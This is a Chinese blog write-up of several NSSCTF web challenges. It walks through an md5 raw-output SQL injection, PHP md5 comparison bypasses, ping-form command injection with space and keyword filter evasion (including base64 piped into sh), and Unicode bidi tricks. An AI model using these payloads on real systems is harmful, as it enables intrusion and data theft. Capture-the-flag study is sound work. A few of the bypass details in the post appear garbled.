当前位置: 首页 > article >正文

nssctf web

[BJDCTF 2020]easy_md5

 测试发现输入的内容会通过get传递但是没有其他内容

观察一下响应头

我们看到了 
    select * from 'admin' where password=md5($pass,true)

这里的md5(string,raw)

这里的string应该清楚就是字符串,是必选参数

raw是可选参数 默认不写为FALSE。32位16进制的字符串。TRUE 代表16位2进制字符串。通过post传递

这里是sql查询语句 目的是passdword=传递的值 在sql语句中 or 左右一边为true则语句都为true 这也是我们or 1 = 1 的由来,所有我们在这里要尝试构造带or的参数

or对应的16进制是276f7227 

这里我们使用 ffifdyop    这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ‘ or ‘6

而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是select * from ‘admin’ where password=’’ or ‘6xxxxx’

然后将ffifdyop传入

 

得到

 


$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    header('Location: levell14.php');

这就是让a 和b参数的md5一样

第一种

通过0e开头的md5绕过 当md5为0e开头的值会被当成0

所有我们构造

?a=s155964671a&b=s214587387a

第二中

第二种就是通过 数组

但是PHP自身的特性使得可以提交一个数组,而md5函数传入数组的返回值都是NULL

构造?a[]=1&b[]=2

 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
} 

 那这个也差不多md5匹配param1 和param2

这里是!== 是强匹配所以0e开头不行,使用数组

 

[NCTF 2018]签到题

 

这里只有where is flag 我们 抓包

抓包/这个包发现flag

 这题打开看到 百度就应该想到跳转然后思路抓包

[GXYCTF 2019]Ping Ping Ping

 

& 表示任务在后台执行,如要在后台运行redis-server,则有 redis-server &

&& 表示前一条命令执行成功时,才执行后一条命令 

| 表示管道,上一条命令的输出,作为下一条命令参数

|| 表示上一条命令执行失败后,才执行下一条命令

; 分号表示命令依次执行。

 

 127.0.0.1|ls 发现有回显

 

但是看不了 过滤了空格

用%21绕过空格

 又过滤了flag

尝试拼接字符串

 c=ag.php d=fl  cat $c$b

?ip=127.0.0.1;c=ag.php;d=fl;cat$IFS$1$d$c

查看源码

 

得到flag 

通过base64加密绕过

echo “cat flag.php” | base64

echo Y2F0IGZsYWcucGhw|base64 -d|sh

echo%21Y2F0IGZsYWcucGhw|base64%21-d|sh

这里%21过滤了使用$IFS$1 代表空格

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

得到flag 

[NISACTF 2022]checkin

 

<?php
error_reporting(0); #屏蔽报错信息
include "flag.php"; #包含flag文件
// ‮⁦NISACTF⁩⁦Welcome to
if ("jitanglailo" == $_GET[ahahahaha] &‮⁦+!!⁩⁦& "‮⁦ Flag!⁩⁦N1SACTF" == $_GET[‮⁦Ugeiwo⁩⁦cuishiyuan]) { //tnnd! weishenme b
    echo $FLAG;
}
show_source(__FILE__); 高亮显示
?> 

这里面有不可见字符我们放到vscode

 

 

 通过010选中这里然后url编码这里就是

然后选择

 

 

?ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6Ugeiwo%E2%81%A9%E2%81%A6cuishiyuan=%E2%80%AE%E2%81%A6+Flag!%E2%81%A9%E2%81%A6N1SACTF

[NSSCTF 2022 Spring Recruit]ezgame

这里要超过65分

查看js文件

 

 

 


http://www.kler.cn/a/15141.html

相关文章:

  • TOMCAT NGINX 环境的搭建脚本
  • 【华为校招真题】分配资源ID 100% C++
  • Python中 re.findAll()、re.sub()、set()的使用
  • 轻量级服务器nginx:负载均衡
  • 郑哲:学习、应用初探与探索创新 | 提升之路系列(四)
  • 【Linux】项目自动化构建工具-make/Makefile
  • 【Git 入门教程】第三节、Git的分支和合并
  • 山路转债上市价格预测
  • Sample语言上下文无关文法
  • SpringBoot操作Mongodb
  • Vue进阶-Vue cli项目搭建、项目基本操作、axios的使用、路由、Vuex
  • SpringBoot 中如何正确的实现模块日志入库?
  • 视频可视化搭建项目,通过简单拖拽方式快速生产一个短视频
  • 光波导相控阵技术
  • USB-C为什么可以取代传统接口?消费类电子产品如何改用TYPE-C接口?
  • 用 ChatGPT 进行阅读理解题目的问答
  • Ceph入门到精通-Ceph 编排器简介
  • 算力为基,生态谋远,英特尔商用客户端的三重创新进化
  • 07 - 进程创建大盘点
  • JVM 垃圾回收算法